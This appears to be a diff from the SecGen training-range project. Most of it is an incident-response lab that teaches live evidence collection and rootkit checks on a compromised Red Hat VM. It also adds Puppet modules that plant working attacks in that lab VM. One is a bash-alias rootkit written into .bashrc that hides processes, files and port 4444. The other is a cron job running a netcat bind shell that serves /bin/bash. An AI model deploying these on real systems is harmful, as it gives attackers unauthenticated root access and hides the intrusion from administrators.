An important concern when investigating an incident, is that the system (including user-space programs, libraries, and possibly even the OS kernel) may have been modified to hide the presence of changes made by an attacker. For example, the ps and ls commands may be modified, so that certain processes and files (respectively) are not displayed. The libraries used by various commands may have been modified, so that any programs using those libraries are provided with deceptive information. If the kernel has been modified, it can essentially change the behaviour of *any* program on the system, by changing the kernel's response to instructions from processes. For example, if a program attempts to *open* a file for viewing, the kernel could provide one set of content, while an attempt to *execute* the file may result in a completely different program running.
|
||||
|
||||
Detecting the presence of rootkits is tricky, and prone to error. However, there are a number of techniques that, while not foolproof, can detect a number of rootkits. Methods of detection include: looking for inconsistencies between different ways of gathering data about the system state, and looking for known instances of malicious files.
|
||||
|
||||
Chkrootkit is a Bash script that performs a number of tests for the presence of various rootkits.
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, have a quick look through the script, it is much more complex than the previous linux-ir.sh script:
|
||||
|
||||
```bash
|
||||
less /mnt/cdrom/statbins/chkrootkit-linux/chkrootkit
|
||||
```
|
||||
> Exit less
|
||||
|
||||
Confirm that if we were to run ls, we would be running the local (dynamic) version, probably /bin/ls:
|
||||
|
||||
```bash
|
||||
which ls
|
||||
```
|
||||
|
||||
To understand why, look at the value of the environment variable \$PATH, which tells Bash where to look for programs:
|
||||
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
|
||||
Set the \$PATH environment variable to use our static binaries wherever possible, so that when chkrootkit calls external programs it will (wherever possible) use the ones stored on the IR disk:
|
||||
|
||||
```bash
|
||||
export PATH=$static:$PATH
|
||||
```
|
||||
|
||||
Confirm that now if we were to run less, we would be running the static version:
|
||||
|
||||
```bash
|
||||
which ls
|
||||
```
|
||||
|
||||
This should report the path to our static binary on the FIRE disk.
|
||||
|
||||
It is now safe to run chkrootkit[^3]:
|
||||
|
||||
```bash
|
||||
./chkrootkit-linux/chkrootkit | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/chkrootkit_out"
|
||||
```
|
||||
> Help: you may get a message in the terminal before you type the password. You should still type the password for the script to run. The script should not take long to run.
|
||||
|
||||
**On your Desktop VM**, have a look at the output:
|
||||
|
||||
```bash
|
||||
less /home/<%= $main_user %>/evidence/chkrootkit_out
|
||||
```
|
||||
|
||||
From the output, identify files or directories reported as "INFECTED", or suspicious.
|
||||
|
||||
Also, note that the .bash_history is reportedly linked to another file.
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, investigate the Bash history:
|
||||
|
||||
```bash
|
||||
$static/ls -la /root/.bash_history
|
||||
```
|
||||
|
||||
What does the output mean? What does this mean for the logging of the commands run by root?
|
||||
|
||||
At this stage you should be convinced that this system is definitely compromised, and infected with some form of rootkit.
|
||||
|
||||
Save a record of your activity to your Desktop VM:
|
||||
|
||||
```bash
|
||||
cat /tmp/evid/invst.log | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/script_log"
|
||||
```
|
||||
|
||||
Power down the compromised system (Redhat7.2), so that we can continue analysis offline:
|
||||
|
||||
```bash
|
||||
$static/sync; $static/sync
|
||||
```
|
||||
> If you do not know what the sync command does, on your Desktop VM, run "info coreutils 'sync invocation'" for more information.
|
||||
>
|
||||
> Tell the oVirt Virtualization Manager to force a Power Off.
|
||||
|
||||
Why might we want to force a power off (effectively "pulling the plug"), rather than going through the normal shutdown process (by running "halt" or "shutdown")?
|
||||
|
||||
## Offline analysis of live data collection
|
||||
|
||||
Note that even though the bash\_history was not saved (as we discovered above), we can still recover commands that were run the last time the computer was running. This is possible by searching through the saved RAM (the kcore ELF dump we saved earlier).
|
||||
|
||||
**On your Desktop VM**, run:
|
||||
|
||||
```bash
|
||||
sudo -u <%= $main_user %> bash -c "strings -n 10 /home/<%= $main_user %>/evidence/kcore > /home/<%= $main_user %>/evidence/kcore_strings"
|
||||
```
|
||||
|
||||
The above "strings" command extracts ASCII text from the binary core dump.
|
||||
|
||||
Open the extracted strings, and look for evidence of the commands you ran before saving the kernel core dump:
|
||||
|
||||
```bash
|
||||
less /home/<%= $main_user %>/evidence/kcore_strings
|
||||
```
|
||||
|
||||
Now press the '/' key, and type a regex to search for commands you previously ran to collect information about the system. For example, try searching for "ssh <%= $main_user %>" (press 'n' for next).
|
||||
|
||||
## What's next ...
|
||||
|
||||
In the next lab you will analyse the artifacts you have collected, to determine what has happened on the system.
|
||||
|
||||
**Important: save the evidence you have collected, as this will be used as the basis for the next lab.**
|
||||
|
||||
ls -la /home/<%= $main_user %>/evidence you may have to be in root or without and remember when looking at the file you've created is from the outside the VM.
|
||||
|
||||
[^1]: Note that the password for root has been reset for these exercises.
|
||||
|
||||
[^2]: In reality, if we *knew* the system was compromised, we would likely *leave it powered off*, and move straight to offline analysis.
|
||||
|
||||
[^3]: Note that it would be better to not have to include \$PATH, and only use static versions. Unfortunately, FIRE does not include statically compiled versions of all of the commands that chkrootkit requires.
|
||||
@@ -0,0 +1,389 @@
|
||||
# Analysis of a Compromised System - Part 1: Online Analysis and Data Collection
|
||||
|
||||
## Getting started
|
||||
### VMs in this lab
|
||||
|
||||
==Start these VMs== (if you haven't already):
|
||||
|
||||
- hackerbot_server (leave it running, you don't log into this)
|
||||
- desktop
|
||||
- compromised_server
|
||||
|
||||
All of these VMs need to be running to complete the lab.
|
||||
|
||||
<!-- TODO -->
|
||||
In the edit dialogue box ==select CD-ROM== as the Second Device.
|
||||
==Select the "fire-0.3.5b.iso"== file from the dropdown box.
|
||||
|
||||
### Your login details for the "desktop" VM
|
||||
User: <%= $main_user %>
|
||||
Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember)
|
||||
|
||||
You won't login to the hackerbot_server, but all the VMs need to be running to complete the lab.
|
||||
|
||||
### For marks in the module
|
||||
1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags.
|
||||
2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester.
|
||||
|
||||
## Hackerbot!
|
||||

|
||||
|
||||
This exercise involves interacting with Hackerbot, a chatbot who will task you to investigate the system. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you.
|
||||
|
||||
Work through the below exercises, completing the Hackerbot challenges as noted.
|
||||
|
||||
|
||||
## Introduction
|
||||
|
||||
So you have reason to believe one of your servers has experienced a security compromise... What next? For this lab you investigate a server that is attacked and compromised.
|
||||
|
||||
The investigation of a potential security compromise is closely related to digital forensics topics. As with forensic investigations, we also aim to maintain the integrity of our "evidence", *wherever possible* not modifying access times or other information. However, in a business incident response setting maintaining a chain of evidence may not be our highest priority, since we may be more concerned with other business objectives, such as assuring the confidentiality, integrity, and availability of data and services.
|
||||
|
||||
During analysis, it is good practice to follow the order of volatility (OOV): collecting the most volatile evidence first (such as the contents of RAM, details of processes running, and so on) from a live system, then collecting less volatile evidence (such as data stored on disk) using offline analysis.
|
||||
|
||||
## Live analysis
|
||||
|
||||
After suspecting a compromise, before powering down the server for offline analysis, the first step is typically to perform some initial investigation of the live system. Live analysis aims to investigate suspicions that a compromise has occurred, and gather volatile information, which may potentially include evidence that would be lost by powering down the computer.
|
||||
|
||||
|
||||
==SSH into the compromised server:==
|
||||
|
||||
|
||||
|
||||
**On the compromised VM (Redhat7.2):** To keep a record of what we are doing on the system, start the script command:
|
||||
|
||||
```bash
|
||||
mkdir /tmp/evid
|
||||
script -f /tmp/evid/invst.log
|
||||
```
|
||||
> Note: *if you do this lab over multiple sessions*, be sure to save the log of your progress (/tmp/evid/invst.log), and restart `script`.
|
||||
|
||||
==LogBook question: Make a note of the risks and benefits associated with storing a record of what we are doing locally on the computer that we are investigating.==
|
||||
|
||||
Consider the advantages of *handwritten* documentation of what investigators are doing.
|
||||
|
||||
Many of the commands used to investigate what is happening on a system are standard Unix commands. However, it is advisable to run these from a read-only source, since software on your system may have been tampered with. Also, using read-only media minimises the changes made to your local filesystem, such as executable file access times.
|
||||
|
||||
During preparation, you configured the compromised VM to have access to the FIRE (Forensic and Incident Response Environment) CD/DVD ISO (which is equivalent to inserting the optical disk into your server's DVD-tray). FIRE is an example of a Linux Live Disk that includes tools for forensic investigation. In addition to being able to boot to a version of Linux for offline investigation of evidence, the disk contains Linux tools for live analysis.
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, ==mount the disk==, so that we can access its contents:
|
||||
|
||||
```bash
|
||||
mount /dev/hdc /mnt/cdrom/
|
||||
```
|
||||
|
||||
On a typical system, many binary executables are dynamically linked; that is, these programs do not physically contain all the libraries (shared code) they use, and instead load that code from shared library files when the program runs. On Unix systems the shared code is typically contained in ".so" files, while on Windows ".dll" files contain shared code. The risks associated with using dynamically linked executables to investigate security breaches is that access times on the shared objects will be updated, and the shared code may also have been tampered with. For this reason it is safest to use programs that are statically linked; that is, have been compiled to physically contain a copy of all of the shared code that it uses.
|
||||
|
||||
**On your Desktop VM** ==look at which libraries are dynamically loaded== when you run a typical command:
|
||||
|
||||
```bash
|
||||
ldd /bin/ls
|
||||
```
|
||||
|
||||
Examine the output, and determine how many external libraries are involved.
|
||||
|
||||
**On the compromised VM (Redhat7.2)**: The FIRE disk contains a number of statically compiled programs to be used for investigations. ==Check that these are indeed statically linked:==
|
||||
|
||||
```bash
|
||||
ldd /mnt/cdrom/statbins/linux2.2_x86/ls
|
||||
```
|
||||
|
||||
==Compare the output to the previous command== run on your own Desktop system. The output will be distinctly different, stating that the program is not dynamically compiled.
|
||||
|
||||
Note that, although an improvement, using statically linked programs such as these still do not guarantee that you can trust the output of the programs you run. Consider why, and make a note of this.
|
||||
|
||||
## Collecting live state manually
|
||||
|
||||
The next step is to use tools to capture information about the live system, for later analysis. One approach to storing the resulting evidence is to send results over the network via Netcat or SSH, without storing them locally. This has the advantage of not changing local files, and is less likely to tip off an attacker, rather than storing the evidence on the compromised machine.
|
||||
|
||||
### Comparing process lists
|
||||
|
||||
**On your Desktop VM**, check ensure the local SSH server (sshd) is running on your system.
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, test sending the results of some commands (process lists using ps) over SSH to your Desktop VM:
|
||||
|
||||
> Note: if the VM is not using a UK keyboard layout, the @ and " symbols may be reversed, and the | symbol is located at the \~. Alternatively, run `loadkeys uk` in the RedHat VM to swap to a UK keyboard layout
|
||||
|
||||
```bash
|
||||
ssh <%= $main_user %>@*desktop-IP-address* "mkdir evidence"
|
||||
|
||||
ps aux | ssh <%= $main_user %>@*desktop-IP-address* "cat > evidence/ps_out"
|
||||
```
|
||||
|
||||
> (Where *desktop-IP-address* is the IP address of your *desktop VM*, which should be on the same subnet as your compromised VM)
|
||||
|
||||
==LogBook question: Why might it not be a good idea to ssh to your own account (if you had one on a Desktop in real life) and type your own password from the compromised system? What are some more secure alternatives?==
|
||||
|
||||
**On your Desktop VM**, find the newly created files and view the contents.
|
||||
|
||||
> Hint: you may wish to use the Dolphin graphical file browser, then navigate to "/home/<%= $main_user %>/evidence".
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, run the statically compiled version of ls from the incident response disk to list the contents of /proc (this is provided dynamically by the kernel: a directory exists for every process on the system), and once again send the results to your Desktop VM...
|
||||
|
||||
First, to save yourself from having to type `/mnt/cdrom/statbins/linux2.2_x86/` over and over, save that value in a Bash variable:
|
||||
|
||||
```bash
|
||||
export static="/mnt/cdrom/statbins/linux2.2_x86/"
|
||||
```
|
||||
|
||||
Now, to run the statically compiled version of ls, you can run:
|
||||
|
||||
```bash
|
||||
$static/ls
|
||||
```
|
||||
|
||||
Run the command:
|
||||
|
||||
```bash
|
||||
$static/ls /proc | ssh <%= $main_user %>@*desktop-IP-address* "cat > evidence/proc_ls_static"
|
||||
```
|
||||
|
||||
**On your Desktop VM**, find the newly created files and compare the list of pids (numbers representing processes) output from the previous commands. This is the second column of output in the ps\_out, with the numbers in proc\_ls\_static.
|
||||
|
||||
Hint: you can do the comparison manually, or using commands such as "cut" (or [*awk*](http://lmgtfy.com/?q=use+awk+to+print+column)), "sort", and "diff". For example, `cat ps_out | awk '{ print $4 }'` will pipe the contents of the file ps\_out into the awk command, which will split on spaces, and only display the fourth field. Ensure this is displaying the list of pids, if not try selecting a different field. You could pipe this through to "sort". Then save that to a file (by appending " > pids\_ps\_out"). We have covered how to use diff previously. Remember "man awk", "man sort", and "man diff" will tell you about how to use the commands (and Google may also come in handy).
|
||||
|
||||
Are the same processes shown each time? If not, that is very suspicious, and likely indicates a break-in, and that we probably shouldn't trust the output of local commands.
|
||||
|
||||
### Gathering live state using statically compiled programs
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, save a copy of a list inodes of removed files that are still open or executing:
|
||||
|
||||
```bash
|
||||
$static/ils -o /dev/hda1 | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/deleted_out"
|
||||
```
|
||||
> Tip: on VMware VMs, you may need to replace "hda1" with "sda1".
|
||||
|
||||
Save a list of the files currently being accessed by programs:
|
||||
|
||||
```bash
|
||||
$static/lsof | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/lsof_out"
|
||||
```
|
||||
|
||||
**On your Desktop VM**, open evidence/lsof\_out.
|
||||
|
||||
==LogBook question: Are any of these marked as "(deleted)"? How does this compare to the ils output? What does this indicate?==
|
||||
|
||||
**On the compromised VM (Redhat7.2)**,
|
||||
|
||||
Save a list of network connections:
|
||||
|
||||
```bash
|
||||
$static/netstat -a | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/netstat_out"
|
||||
```
|
||||
> (Some commands such as this one may take awhile to run, wait until the Bash prompt returns)
|
||||
|
||||
Save a list of the network resources currently being accessed by programs:
|
||||
|
||||
```bash
|
||||
$static/lsof -P -i -n | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/lsof_net_out"
|
||||
```
|
||||
|
||||
Save a copy of the routing table:
|
||||
|
||||
```bash
|
||||
$static/route | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/route_out"
|
||||
```
|
||||
|
||||
Save a copy of the ARP cache:
|
||||
|
||||
```bash
|
||||
$static/arp -a | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/arp_out"
|
||||
```
|
||||
|
||||
Save a list of the kernel modules currently loaded (as reported by the kernel):
|
||||
|
||||
```bash
|
||||
$static/cat /proc/modules | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/lsmod_out"
|
||||
```
|
||||
|
||||
**Creating images of the system state**
|
||||
|
||||
We can take a snapshot of the live state of the computer by dumping the entire contents of memory (what is in RAM/swap) into a file. On a Linux system /proc/kcore contains an ELF-formatted core dump of the kernel. Save a snapshot of the kernel state:
|
||||
|
||||
```bash
|
||||
$static/dd if=/proc/kcore conv=noerror,sync | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/kcore"
|
||||
```
|
||||
|
||||
Next, we can copy entire partitions to our other system, to preserve the exact state of stored data, and so that we can conduct offline analysis without modifying the filesystem.
|
||||
|
||||
Start by identifying the device files for the partitions on the compromised system (Redhat7.2):
|
||||
|
||||
```bash
|
||||
df
|
||||
```
|
||||
|
||||
Note that on this system the root partition (mounted on "/"), is /dev/hda1.
|
||||
|
||||
> Help: on VMware VMs only, you may need to replace "hda1" with "sda1".
|
||||
|
||||
Then, copy byte-for-byte the contents of the root ("/") partition (where /dev/hda1 was identified from the previous command:
|
||||
|
||||
```bash
|
||||
$static/dd if=/dev/hda1 conv=noerror,sync | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/hda1.img"
|
||||
```
|
||||
> Tip: Running this will take some time, so you may wish to continue with the next step while the copying runs.
|
||||
|
||||
This command could be repeated for each partition including swap partitions. For now, let's accept that we have all we need.
|
||||
|
||||
**On your Desktop VM**, list all the files you have created:
|
||||
|
||||
```bash
|
||||
ls -la /home/<%= $main_user %>/evidence
|
||||
```
|
||||
|
||||
At this stage look through some of the information you have collected. For example:
|
||||
|
||||
```bash
|
||||
less /home/<%= $main_user %>/evidence/lsof_net_out
|
||||
```
|
||||
|
||||
Examine the contents of the various output files and identify anything that may indicate that the computer has been compromised by an attacker. Hint: does the network usage seem suspicious?
|
||||
|
||||
### Collecting live state using scripts
|
||||
|
||||
As you may have concluded from the previous tasks, manually collecting all this information from a live system can be a fairly time consuming process. Incident response data collection scripts can automate much of this process. A common data collection script "linux-ir.sh", is included on the FIRE disk, and is also found on the popular Helix IR disk.
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, have a look through the script:
|
||||
|
||||
```bash
|
||||
less /mnt/cdrom/statbins/linux-ir.sh
|
||||
```
|
||||
|
||||
Note that this is a Bash script, and each line contains commands that you could type into the Bash shell. Bash provides the command prompt on most Unix systems, and a Bash script is an automated way of running commands. This script is quite simple, with a series of commands (similar to some of those you have already run) to display information about the running system.
|
||||
|
||||
Identify some commands within the script that collect information you have not already collected above.
|
||||
|
||||
Exit viewing the script (press q).
|
||||
|
||||
Run the data collection script, redirecting output to your Desktop VM:
|
||||
|
||||
```bash
|
||||
cd /mnt/cdrom/statbins/
|
||||
|
||||
./linux-ir.sh | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/ir_out"
|
||||
```
|
||||
|
||||
**On your Desktop VM**, have a look at the output from the script:
|
||||
|
||||
```bash
|
||||
less /home/<%= $main_user %>/evidence/ir_out
|
||||
```
|
||||
|
||||
Use what you have learnt to spot some evidence of a security compromise.
|
||||
|
||||
### Checking for rootkits
|
||||
|
||||
An important concern when investigating an incident, is that the system (including user-space programs, libraries, and possibly even the OS kernel) may have been modified to hide the presence of changes made by an attacker. For example, the ps and ls commands may be modified, so that certain processes and files (respectively) are not displayed. The libraries used by various commands may have been modified, so that any programs using those libraries are provided with deceptive information. If the kernel has been modified, it can essentially change the behaviour of *any* program on the system, by changing the kernel's response to instructions from processes. For example, if a program attempts to *open* a file for viewing, the kernel could provide one set of content, while an attempt to *execute* the file may result in a completely different program running.
|
||||
|
||||
Detecting the presence of rootkits is tricky, and prone to error. However, there are a number of techniques that, while not foolproof, can detect a number of rootkits. Methods of detection include: looking for inconsistencies between different ways of gathering data about the system state, and looking for known instances of malicious files.
|
||||
|
||||
Chkrootkit is a Bash script that performs a number of tests for the presence of various rootkits.
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, have a quick look through the script, it is much more complex than the previous linux-ir.sh script:
|
||||
|
||||
```bash
|
||||
less /mnt/cdrom/statbins/chkrootkit-linux/chkrootkit
|
||||
```
|
||||
> Exit less
|
||||
|
||||
Confirm that if we were to run ls, we would be running the local (dynamic) version, probably /bin/ls:
|
||||
|
||||
```bash
|
||||
which ls
|
||||
```
|
||||
|
||||
To understand why, look at the value of the environment variable \$PATH, which tells Bash where to look for programs:
|
||||
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
|
||||
Set the \$PATH environment variable to use our static binaries wherever possible, so that when chkrootkit calls external programs it will (wherever possible) use the ones stored on the IR disk:
|
||||
|
||||
```bash
|
||||
export PATH=$static:$PATH
|
||||
```
|
||||
|
||||
Confirm that now if we were to run less, we would be running the static version:
|
||||
|
||||
```bash
|
||||
which ls
|
||||
```
|
||||
|
||||
This should report the path to our static binary on the FIRE disk.
|
||||
|
||||
It is now safe to run chkrootkit[^3]:
|
||||
|
||||
```bash
|
||||
./chkrootkit-linux/chkrootkit | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/chkrootkit_out"
|
||||
```
|
||||
> Help: you may get a message in the terminal before you type the password. You should still type the password for the script to run. The script should not take long to run.
|
||||
|
||||
**On your Desktop VM**, have a look at the output:
|
||||
|
||||
```bash
|
||||
less /home/<%= $main_user %>/evidence/chkrootkit_out
|
||||
```
|
||||
|
||||
From the output, identify files or directories reported as "INFECTED", or suspicious.
|
||||
|
||||
Also, note that the .bash_history is reportedly linked to another file.
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, investigate the Bash history:
|
||||
|
||||
```bash
|
||||
$static/ls -la /root/.bash_history
|
||||
```
|
||||
|
||||
What does the output mean? What does this mean for the logging of the commands run by root?
|
||||
|
||||
At this stage you should be convinced that this system is definitely compromised, and infected with some form of rootkit.
|
||||
|
||||
Save a record of your activity to your Desktop VM:
|
||||
|
||||
```bash
|
||||
cat /tmp/evid/invst.log | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/script_log"
|
||||
```
|
||||
|
||||
Power down the compromised system (Redhat7.2), so that we can continue analysis offline:
|
||||
|
||||
```bash
|
||||
$static/sync; $static/sync
|
||||
```
|
||||
> If you do not know what the sync command does, on your Desktop VM, run "info coreutils 'sync invocation'" for more information.
|
||||
>
|
||||
> Tell the oVirt Virtualization Manager to force a Power Off.
|
||||
|
||||
Why might we want to force a power off (effectively "pulling the plug"), rather than going through the normal shutdown process (by running "halt" or "shutdown")?
|
||||
|
||||
## Offline analysis of live data collection
|
||||
|
||||
Note that even though the bash\_history was not saved (as we discovered above), we can still recover commands that were run the last time the computer was running. This is possible by searching through the saved RAM (the kcore ELF dump we saved earlier).
|
||||
|
||||
**On your Desktop VM**, run:
|
||||
|
||||
```bash
|
||||
sudo -u <%= $main_user %> bash -c "strings -n 10 /home/<%= $main_user %>/evidence/kcore > /home/<%= $main_user %>/evidence/kcore_strings"
|
||||
```
|
||||
|
||||
The above "strings" command extracts ASCII text from the binary core dump.
|
||||
|
||||
Open the extracted strings, and look for evidence of the commands you ran before saving the kernel core dump:
|
||||
|
||||
```bash
|
||||
less /home/<%= $main_user %>/evidence/kcore_strings
|
||||
```
|
||||
|
||||
Now press the '/' key, and type a regex to search for commands you previously ran to collect information about the system. For example, try searching for "ssh <%= $main_user %>" (press 'n' for next).
|
||||
|
||||
## What's next ...
|
||||
|
||||
In the next lab you will analyse the artifacts you have collected, to determine what has happened on the system.
|
||||
|
||||
**Important: save the evidence you have collected, as this will be used as the basis for the next lab.**
|
||||
|
||||
ls -la /home/<%= $main_user %>/evidence you may have to be in root or without and remember when looking at the file you've created is from the outside the VM.
|
||||
|
||||
[^1]: In reality, if we *knew* the system was compromised, we would likely *leave it powered off*, and move straight to offline analysis.
|
||||
|
||||
[^2]: Note that it would be better to not have to include \$PATH, and only use static versions. Unfortunately, FIRE does not include statically compiled versions of all of the commands that chkrootkit requires.
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
include alias_rootkit::install
|
||||
@@ -0,0 +1,14 @@
|
||||
class alias_rootkit::install {
|
||||
|
||||
$aliases = "alias ps='f(){ ps "$@" |grep -v hme; unset -f f; }; f'; alias ls='f(){ ls "$@" |grep -v hme; unset -f f; }; f'; alias netstat='f(){ netstat "$@" |grep -v 4444|grep -v hme; unset -f f; }; f'; alias alias='true'"
|
||||
|
||||
file_line { 'Append a line to /etc/skel/.bashrc':
|
||||
path => '/etc/skel/.bashrc',
|
||||
line => $aliases,
|
||||
}
|
||||
file_line { 'Append a line to /root/.bashrc':
|
||||
path => '/root/.bashrc',
|
||||
line => $aliases,
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
<?xml version="1.0"?>
|
||||
|
||||
<utility xmlns="http://www.github/cliffe/SecGen/utility"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://www.github/cliffe/SecGen/utility">
|
||||
<name>Alias rootkit</name>
|
||||
<author>Z. Cliffe Schreuders</author>
|
||||
<module_license>MIT</module_license>
|
||||
<description>A simple bash-based rootkit based on using aliases to hide output from commands.</description>
|
||||
|
||||
<type>userspace_rootkit</type>
|
||||
<platform>linux</platform>
|
||||
|
||||
</utility>
|
||||
@@ -0,0 +1,11 @@
|
||||
class nc_backdoor::install {
|
||||
# package { 'nc':
|
||||
# ensure => installed
|
||||
# }
|
||||
|
||||
# TODO: parameter for port number
|
||||
cron { 'backdoor':
|
||||
command => 'nc -l -p 4444 -e /bin/bash',
|
||||
special => 'reboot',
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
include nc_backdoor::install
|
||||
@@ -0,0 +1,44 @@
|
||||
<?xml version="1.0"?>
|
||||
|
||||
<vulnerability xmlns="http://www.github/cliffe/SecGen/vulnerability"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://www.github/cliffe/SecGen/vulnerability">
|
||||
<name>Netcat Backdoor</name>
|
||||
<author>Z. Cliffe Schreuders</author>
|
||||
<module_license>MIT</module_license>
|
||||
<description>A netcat backdoor (listens on a port and serves a shell).</description>
|
||||
|
||||
<type>simple_backdoor</type>
|
||||
<privilege>root_rwx</privilege>
|
||||
<access>remote</access>
|
||||
<platform>unix</platform>
|
||||
|
||||
<!-- TODO -- leak strings! -->
|
||||
<!-- <read_fact>strings_to_leak</read_fact> -->
|
||||
<!-- <read_fact>leaked_filenames</read_fact> -->
|
||||
|
||||
<!-- <default_input into="strings_to_leak">
|
||||
<generator type="message_generator"/>
|
||||
<generator type="message_generator"/>
|
||||
</default_input>
|
||||
|
||||
<default_input into="leaked_filenames">
|
||||
<generator type="filename_generator"/>
|
||||
<generator type="filename_generator"/>
|
||||
</default_input> -->
|
||||
|
||||
<!--optional vulnerability details-->
|
||||
<difficulty>low</difficulty>
|
||||
<cvss_base_score>10</cvss_base_score>
|
||||
<cvss_vector>AV:N/AC:L/Au:N/C:C/I:C/A:C</cvss_vector>
|
||||
<software_name>nc</software_name>
|
||||
|
||||
<!--optional hints-->
|
||||
<hint>Connect to a port</hint>
|
||||
<solution>Simply connecting to the port will give you a shell.</solution>
|
||||
|
||||
<requires>
|
||||
<type>update</type>
|
||||
</requires>
|
||||
|
||||
</vulnerability>
|
||||
Reference in New Issue
Block a user